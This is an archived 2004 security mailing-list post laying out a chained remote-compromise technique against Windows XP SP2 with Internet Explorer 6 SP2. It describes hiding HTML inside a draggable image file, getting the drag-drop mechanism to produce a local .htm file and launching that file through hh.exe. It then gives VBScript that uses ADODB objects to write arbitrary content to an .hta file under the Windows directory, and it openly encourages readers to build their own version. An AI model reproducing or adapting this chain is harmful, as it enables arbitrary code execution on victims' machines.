How to Break Windows XP SP2 + Internet Explorer 6 SP2

From: (
Date: 10/20/04

  • Next message: Martin Schulze: "[SECURITY] [DSA 571-1] New libpng3 packages fix several vulnerabilities"
    To: <>
    Date: Wed, 20 Oct 2004 03:35:44 -0000

    Tuesday, October 19, 2004

    The following technical exercise demonstrates the enormously
    elaborate methods required to defeat the current [as of today's
    date] security mechanisms in place in both Microsoft Windows XP
    SP2 and Internet Explorer 6.00 SP2 fully

    It is by no means easy. The 'locking down 'of the local zone is
    and has been the 'Achilles' Heel' of the manufacturer known as
    Microsoft from time of inception to date.

    What we craft herewith is:

    a) an enormous waste of personal resources and time
    be) a full and complete remote compromise of the target computer

    It is sufficiently diluted to allow for technical explanation at
    this time, however, considering that today 'full fireworks' from
    the get-go appear to be mundane to those that need, or pretend,
    to need to know, brighter sparks may or may not 'see the light' !

    The problem is three-fold:

    The SP2 'patch' for the Microsoft XP so-called 'operating
    system' does indeed do a terrific job of shutting out all Active
    Content from the so-called Local Zone. So much so as to , in
    addition to that aspect, killing off of the ADODB.Stream and
    Shell.Application [very] ActiveX controls.

    The questions then are:

    a) if we can run code in the local zone, what can we run to
    read, write and delete
    b) if we can run code that can read, write and delete, how
    exactly do we run it

    Like so:

    1/ The recent 'drag drop' patch crammed into the Internet
    Explorer so-called 'Cumulative Security Update for Internet
    Explorer (834707)' yields some interesting results

    2/ Clearly the mechanism to put anything other than the intended
    MIME type in the src or dynsrc has been bolstered. Almost to the
    point of being a specific set of file types. One might suspect
    the capabilities of the newly enriched 'snot nosed' security of
    Internet Explorer is called into play:


    a) .xml;.doc;.py;.cdf;.css;.pdf;ppt and a number of others
    prove 'draggable'. Key or 'executable' file types do not -- for
    obvious reasons [now].

    b) the 'trick' is then to emulate these file types. Quite
    correctly Internet Explorer 'sniffs' the file type to ensure its
    being. From within. Draggable elements are quite limited. As
    in <img src=''...> or <img dynsrc=''...> meaning only legitimate
    files assigned can be dragged -- media or image.

    c) What we do is inject our html code into the media file,
    remove the file type [extention] and let the machine do our
    dirty work first step for us

    d) Dragging our 'trojaned' image file across, containing our
    arbitrary code, we remove the extension and the machine
    automagically creates a nice crisp .htm file

    e) Big deal they say. Cannot run code in the 'Local Zone'. We
    then take an oddity with our most helpful Help function from the
    operating system known as hh.exe. By giving this a non-valid or
    miss-formed 'window' we are able to then point hh.exe to our
    machine made [inclusive of our arbitrary code] .htm file and
    execute that within Windows Help. What that means is that this
    is not a trivial 'showHelp()' rather an actual .chm opening via
    hh.exe remotely. In technical essence that is. Along with its
    With pseudo privileges no doubt.

    f) Big deal they say. Cannot run read / write / delete/ code in
    the 'Local Zone'. Adodb.Stream is dead. Shell.Application is
    dead. WScript.Shell has been patched even longer than that. But,
    we magically craft new code to replace it like so:

    <script language="vbs">
    ' - 19.10.04
    Dim Conn, rs
    Set Conn = CreateObject("ADODB.Connection")
    Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
    "Dbq=;" & _
    "Extensions=asc,csv,tab,txt;" & _
    "Persist Security Info=False"
    Dim sql
    sql = "SELECT * from foobar.txt"
    set rs = conn.execute(sql)
    set rs =CreateObject("ADODB.recordset")
    rs.Open "SELECT * from foobar.txt", conn
    rs.Save "C:\\WINDOWS\\PCHealth\\malware.hta", adPersistXML

    Simply put, that is perhaps the last remaining 'piece of code'
    that can write arbitrary content to an arbitrary file name in an
    aribitrary location.

    All it is doing is pulling from, the contents of a
    miserable text file, then writing that content to an .hta file
    in the location we tell it to. On the local machine.

    Working Diluted Manual Demo [go make your own fireworks !]:


    1. the entire process could be automated should one really have
    time to waste
    2. current so-called 'professional' trends are inclined to "so
    what. If it cannot bake toast as well who cares"
    3. Exactly. Who really cares !
    4. Do you.

    End Call


  • Next message: Martin Schulze: "[SECURITY] [DSA 571-1] New libpng3 packages fix several vulnerabilities"